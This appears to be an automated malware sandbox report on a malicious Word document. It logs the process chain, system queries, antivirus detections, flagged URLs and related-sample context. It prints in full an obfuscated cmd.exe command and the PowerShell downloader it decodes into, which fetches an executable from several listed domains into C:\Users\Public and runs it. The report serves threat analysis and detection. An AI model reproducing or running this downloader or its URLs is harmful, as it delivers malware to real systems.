Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 ,	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; '	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cMd.eXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\363.exe 'C:\Users\Public\363.exe'
Source: C:\Users\Public\363.exe	Process created: C:\Users\Public\363.exe C:\Users\Public\363.exe
Source: C:\Windows\System32\emitwpc.exe	Process created: C:\Windows\System32\emitwpc.exe C:\Windows\system32\emitwpc.exe

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Show sources

Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 ,
Source: unknown	Process created: C:\Windows\System32\cmd.exe CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 ,
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; '
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 ,	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 ,	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; '	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';

Language, Device and Operating System Detection:

Queries the installation date of Windows

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\Public\363.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\emitwpc.exe	Queries volume information: C:\ VolumeInformation

Contains functionality to query windows version

Show sources

Source: C:\Users\Public\363.exe

Code function: 10_2_0031277F RtlGetVersion,GetNativeSystemInfo,

10_2_0031277F

Queries the cryptographic machine GUID

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Signature Similarity

Sample Distance (10 = nearest)

10 9 8 7 6 5 4 3 2 1

Similar Samples

Samplename	Analysis ID	SHA256	Similarity

Behavior Graph

Simulations

Behavior and APIs

Time	Type	Description
15:05:10	API Interceptor	4371x Sleep call for process: WINWORD.EXE modified
15:05:17	API Interceptor	2x Sleep call for process: svchost.exe modified
15:05:22	API Interceptor	3x Sleep call for process: OSPPSVC.EXE modified
15:05:35	API Interceptor	1x Sleep call for process: powershell.exe modified
15:05:45	API Interceptor	2x Sleep call for process: 363.exe modified
15:05:55	API Interceptor	2x Sleep call for process: emitwpc.exe modified

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label
12.2.emitwpc.exe.380000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
11.2.363.exe.500000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
11.2.363.exe.4e0000.0.unpack	100%	Avira	HEUR/AGEN.1019616
10.2.363.exe.1f0000.0.unpack	100%	Avira	HEUR/AGEN.1019616
12.2.emitwpc.exe.360000.0.unpack	100%	Avira	HEUR/AGEN.1019616
13.2.emitwpc.exe.2a0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen
13.2.emitwpc.exe.280000.0.unpack	100%	Avira	HEUR/AGEN.1019616
10.2.363.exe.310000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://mydogmybuddy.com/ULyczwB_jTGovH	0%	Avira URL Cloud	safe
http://topablaze.com/YOh_SNrprk	0%	Avira URL Cloud	safe
http://beitshalomcare.com/UCXoKly_3UeiaQjy_IkH	0%	Avira URL Cloud	safe
http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN	0%	Avira URL Cloud	safe
http://topablaze.com/YOh_SNr	0%	Avira URL Cloud	safe
http://beitshalomcare.comPJP	0%	Avira URL Cloud	safe
http://rinolfrecruitment.com/3ee8t_II0tt	0%	Avira URL Cloud	safe
http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/	0%	Avira URL Cloud	safe
http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik	0%	Avira URL Cloud	safe
http://201.130.151.95:50000/7	100%	Avira URL Cloud	malware
http://rinolfrecruitment.com/3ee8t_II0tH	0%	Avira URL Cloud	safe
http://70.55.70.147:7080/	100%	Avira URL Cloud	malware
http://201.130.151.95:50000/	100%	Avira URL Cloud	malware
http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/H	0%	Avira URL Cloud	safe
http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxNt	0%	Avira URL Cloud	safe
http://rinolfrecruitment.com/3ee8t_II0t	0%	Avira URL Cloud	safe
http://beitshalomcare.com	0%	Avira URL Cloud	safe
http://201.130.151.95:50000/;	100%	Avira URL Cloud	malware
http://mydogmybuddy.com/ULyczwB_jTGov	0%	Avira URL Cloud	safe
http://beitshalomcare.com/UCXoKlH	0%	Avira URL Cloud	safe
http://topablaze.com/YOh_SNrprkH	0%	Avira URL Cloud	safe
http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxNH	0%	Avira URL Cloud	safe
http://topablaze.cH	0%	Avira URL Cloud	safe

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UninetSAdeCVMX	Mo2spc6bT8.dll	71aed2f721bace4dbb9f078864518aff32f63ec75e63437756190eb54cf3b164	malicious	Browse	148.247.206.77
	.exe	58f05bfbb1184d95271eaf037b57e1c655b604280bfc155b82ed108051a2cd57	malicious	Browse	200.66.252.242
	Alerta has sido reportado en el buro de credito506218.doc	eb2cdee5f750c5923a607f1d0853cd8081cadfb36e958d1b94e8b6155ec94045	malicious	Browse	187.136.85.252
	transcript-08_626.doc	16763963578c8603ee084ff89998f7cf73d675ec336df3945cab83f785056d2a	malicious	Browse	189.236.94.20
	virus.doc	79e76199f13d7b9ce9ecd21bbf2dba3adf2b4cc25c93ae104e92fe7902462901	malicious	Browse	187.192.180.144
	FAT-XJ-7527-67480.doc	13f810b0e87aab62e601152ea608611dd26d1fc42dca84cfa89b95ca4cfc1693	malicious	Browse	187.192.180.144
	NR5989234333_2018_07_19.doc	e3b6cc96a1ca77ce2be3a76b4ca5d0f937203f0e5cbd028d0549a50bc68e510e	malicious	Browse	187.155.30.88
	NR5989234333_2018_07_19.doc	e3b6cc96a1ca77ce2be3a76b4ca5d0f937203f0e5cbd028d0549a50bc68e510e	malicious	Browse	187.155.30.88
	channelisvc.exe	08f0261059671c8d2ce7744b72dafe36380fece3ccec98717a401b61cb09dd67	malicious	Browse	187.192.180.144
	DOC-9193.doc	4fa87b317831469534c64bff9b479bcf0882609e0d0d53ef22af2422bb87ddfb	malicious	Browse	189.225.81.201
	19file-L0919.doc	2026558ce81bb0e092e09994426cc22a9c95fc2a8e763a79f00a6845ec8d2daf	malicious	Browse	187.193.161.58
	27Invoice_No_6221452.doc	7e763cf6b9b12075f1a94f9e9c1d0e9b90397b3022c6eda8534b5a809a1e2a02	malicious	Browse	187.193.161.58
	31Invoice_No_C3214.doc	81d26260393410031e5cfb6de2dee2432b2ff9a14e807d3e1eef3751cdbf434c	malicious	Browse	187.193.161.58
	5ACC_0928.doc	89b684a872786323c42394de21ed478a60dc07a2aac03700cbc9b3f8417c1b20	malicious	Browse	187.199.104.240
	FILE-0356136.doc	c3ea632442bc66a4837661c0569979a7d4b21931ae1e4e89b499bd5f2ac6707b	malicious	Browse	187.199.104.240
	36file-O907654.doc	157ef2b2b54861d26cd17f85b55a09040c4a90974e9b15e3f040b44c6b13fcbb	malicious	Browse	187.193.161.58
	file-Y29583.doc	a8b091d66c43d9ec10045db4beb28685c2086f84c1d64770527c541dcdc90123	malicious	Browse	187.193.161.58
	11ACC_18893.doc	bc5e9b3ae84bb2e8aa4cab4347aeba9aa9847061f6ce3dc147287f99d95012ca	malicious	Browse	187.199.104.240
	43file-J003586.doc	61ca6adec536253fdb17db1c6bb0e85d02acf8ae43c06e5312a9a93fa179d276	malicious	Browse	187.193.161.58
	60file-X7352.doc	b713f67442aead97b1f55a1555ae534c60e6fd78891d6c1815fa9319c08d10bb	malicious	Browse	187.193.161.58
CYRUSONE-CyrusOneLLCUS	53Payment Details.jar	04638f518a10edf46aa0bf2773d2035ae33653c74887bf242d9d97b96d68a653	malicious	Browse	192.185.120.165
	Y8rSNN0U1.docx	6ee04f0ff1fcf7b18446945c60a77d5ad953c4102b5099cd0aa24a2cceef10d9	malicious	Browse	192.185.21.159
	59SLIP SABIC IBTC Transfer - MARUTI SUZUKI.exe	85478e4902eaaf36709a819677ccf50f1e2624ac7404331ffab2aab74f60e9ec	malicious	Browse	108.179.213.67
	46Payment - ProLab PO PLSPO-ADMIN17001 - Tally upgrade.exe	6b658ec75785c3ee84a698fc984caf69580fac2b0c228119c2b79c769f8336af	malicious	Browse	108.179.213.67
	Invoice #189938677510.doc	67c3c3a72115570e6f6a609dbf6f115aa2031fa1ef540742e3ece81776cbe72a	malicious	Browse	108.179.236.204
	Invoice #189938677510.doc	67c3c3a72115570e6f6a609dbf6f115aa2031fa1ef540742e3ece81776cbe72a	malicious	Browse	108.179.236.204
	Rechnungs-Details # 828256704534.doc	7a713785ef3669c72a5c1cff9368af89bb816483caaaf0e02171f08ae6b256ed	malicious	Browse	162.144.254.125
	Invoice #32257232.doc	9f53ec77d3d8da1ab1eb50b1fcf837bf06d53c52e2912ed1228975ff67649629	malicious	Browse	162.144.254.166
	3ProLab PO PLSPO-ADMIN17001 - Tally upgrade.exe	669dca0a8f7e6e3f101a4860077f79e74300206b7c99ef2e26f6ea3696df62a0	malicious	Browse	108.179.213.67
	https://mupahs.edu.bd/DOCX/qoqdoc		malicious	Browse	162.241.241.69
	http://thedreamconnector.com/i/office/365/office/index.html		malicious	Browse	192.185.121.43
	67New Spec. Order.exe	782a3fab9b36bf28b9c4fc1cc35c1117d0befe85532742d881dfc43d49a4b3fc	malicious	Browse	192.185.0.218
	http://sociallence.com/wp-content/uploads/asgarosforum/index_test.php/ahsq/?2hpen8pqg473pbp/		malicious	Browse	192.185.6.144
	68invoice with bank details.exe	a6fa68ed565eb42126949838f1736203ea2eac5457b57acd1acfbcf7ec957c19	malicious	Browse	216.172.164.149
	logonsystem.exe	f719e28bfc39196bee3117b0fbde76f8c88b623747f2d4f349fe0a7043635998	malicious	Browse	162.144.254.166
	http://pbxsky.net/ww		malicious	Browse	192.185.140.236
	Invoice Number 778114.doc	9ce27e2c4198d72d91d53eb790f6be33c91ffefb925dafce4f41a6f64fd9c4d1	malicious	Browse	108.167.181.81
	http://pbxsky.net/ww		malicious	Browse	192.185.140.236
	77VLMDUET.exeDPKAA.exe	9af9b9b374d6a205c026a164c0fbee3b9d91400ec72f1cabb71bfc4ef369fd0e	malicious	Browse	96.125.173.15
	40MAWB-72977085610-1.exe	f97bdc3559767a33e5fd29d159f026bf6976398c1ce9dd61ca4b3b32be9e3459	malicious	Browse	192.185.29.202
BACOM-BellCanadaCA	59getwebcak.exe	7342ee31e8bee2846ad4c386c3425e7c9c4488b494a88327623b8a1e9d72b6ec	malicious	Browse	65.94.143.133
	39veXxKXM9ky.exe	92388b21c3ef8513a82d2702d106eabbf915f350853a29a873882091d1f3e4a6	malicious	Browse	207.236.148.162
	transcript-08_626.doc	16763963578c8603ee084ff89998f7cf73d675ec336df3945cab83f785056d2a	malicious	Browse	70.52.42.192
	channelisvc.exe	08f0261059671c8d2ce7744b72dafe36380fece3ccec98717a401b61cb09dd67	malicious	Browse	67.68.235.25
	1347z8grpk8sulxxliv.exe	aa816fc9ea1192772255117b92dd4528c5adc894c0180bee3869fb03a44557a6	malicious	Browse	138.35.112.31
	ttcvc.exe	cf311aa8100a7a8a2da9ec59f07da47dd17d7cca3d60439d236946d5019aaf5b	malicious	Browse	206.172.134.213
	29youtube.exe	c24cb9d9b998de34723c5601b6dba9fa41e941c310b961135d2ad93a62cf68ea	malicious	Browse	184.150.200.82
	9noemai.exe	bb9bb2f03ea2a3bfcbf9cc183439c7b99eeb1c38f4b0dba6f474ed691af94a7e	malicious	Browse	184.150.200.210
	21plugin@getwebcak.exe	96ce80acdb8b21808f2fc651c11eaafe943a44a998fbb030e1018972e2df5007	malicious	Browse	184.150.200.210
	57Fil.exe	3c4f0f6d91c3dec54ab5f573494ef28748c89ceb918e2ca1a724f8a8af65ce3e	malicious	Browse	138.35.115.220
	18mail.doc .exe	bae5e8b3fd47f3ac30e9004b67d4af041286c510c4efc161e2961302c0d85275	malicious	Browse	138.35.112.226
	20attachmen.exe	0ed99bc8879151ab231c08ae3eb1c9001eb051e0a1ca6be3d6d912333885cf25	malicious	Browse	65.94.143.133
	3jt.exe	341b8bf0cbccbca1c6ef407f944ca50135b091dd2129f348a73676aef3024142	malicious	Browse	138.35.113.2
	430#U0437.js	1cb55b853299e325b37ac04ed01371c3fdbe28b2379dfaba35b09f3a840da615	malicious	Browse	70.25.34.233
	18transcrip.exe	0c8b1b6dfe0e06605947cf92bb1683f098fb0372d5d43b6593a7b77d3fc3317a	malicious	Browse	138.35.112.226
	.exe	e42ee81fd6b04724b71461bd41b1e3682b022373fa63835c4732b2f0064212fd	malicious	Browse	138.35.112.217
	58cqv.exe	ff8655fa9057bd4fea9717a49c77d51a9edb3d261c660a246bbcd622518bf61e	malicious	Browse	138.35.113.120
	13LWkXsK3y9c.exe	b43a47c4953f5bb2ea758b5b1954ef826cb2b0e5fa5dfa63f36758761bc9c524	malicious	Browse	138.35.113.2
	3file.exe	4213400cd507559aa7c30dc3310d4eae898ccd5dd57374069b1d030f682ef906	malicious	Browse	138.35.112.217
	597Ep4loP6aX.exe	d5f95320f5095dbfdb9b695cfb0bf07bb0c09e866cbdc9fc327ab5ce2d8b5ac7	malicious	Browse	64.230.66.72

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Startup

System is w7_1

WINWORD.EXE (PID: 3876 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 5D798FF0BE2A8970D932568068ACFD9D)

cmd.exe (PID: 3320 cmdline: 'C:\Windows\System32\cmd.exe' /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 , 45, 42 , 22 , 10, 41 , 52 ,21 , 66, 64 , 40 , 42 ,5 , 53 , 31 ,35 , 59 , 66 , 64 , 70 , 79, 67 , 26 , 15 , 15 , 58 , 57, 45 , 45,15 ,41 ,58, 31, 4 , 21 , 31 , 14 , 5 , 36 , 7 , 41, 0, 45, 3,32 , 26,64 , 6 , 72 , 11 ,58 ,11 ,79 ,67 , 26 , 15,15 , 58 , 57 , 45 , 45, 15 , 31 , 4 , 31 , 71 ,21 , 41 , 15 ,4, 58 , 11 , 5 , 71 , 71, 36 , 7 , 41 , 0 , 45 , 78 ,38 , 60, 44, 58 ,64, 23, 3 , 79 , 59 , 15, 63 , 64 , 29, 78,46 , 61 , 80 , 56, 72 , 67 , 26 ,15 ,15 ,58 , 57 , 45 ,45,0,66 , 51 , 41 ,76 , 0, 66 , 4 , 1 , 51 ,51,66 , 36 , 7 , 41 , 0 , 45 , 42 , 43 , 66 , 7 , 14 , 68 , 29 , 64 , 59 , 61 , 19 , 41 , 20 ,67, 26 , 15 ,15 ,58 , 57 ,45 , 45 , 11 , 53 , 75 , 41 , 21 , 55, 11 , 5 , 7 , 11 , 1 , 53 , 15 , 0 , 5 ,75 